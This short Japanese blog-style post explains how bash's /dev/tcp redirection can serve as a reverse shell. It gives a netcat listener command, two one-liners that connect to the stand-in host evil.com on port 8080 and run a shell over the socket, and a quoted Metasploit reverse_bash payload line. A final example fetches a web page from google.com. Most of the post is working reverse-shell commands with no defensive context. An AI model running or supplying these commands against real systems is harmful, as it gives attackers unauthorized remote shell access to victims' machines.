bashの機能を利用した Reverse Shell
Reverse Shell with Bash
そうか、bashにはこんな機能もあったのね。使ったことないし。
ローカル(自分)側で netcatリスナーを起動。
$ nc -l -p 8080 -vvv
リモート(相手)側で net redirectionを利用する。
$ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; done
もっと簡単にこれでも可。
$ exec 5<>/dev/tcp/evil.com/8080; sh <&5 >&5
ちょっと調べてみたら、Metasploitでも使ってた。orz
reverse_bash.rbの該当部分。
return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&#{fd} >&#{fd} 2>&#{fd}";
こんな使いかたもある。
exec 3<>/dev/tcp/www.google.com/80 echo -e "GET / HTTP/1.1\n\n">&3 cat <&3
まあ実際に使う場面ってほとんどないけど。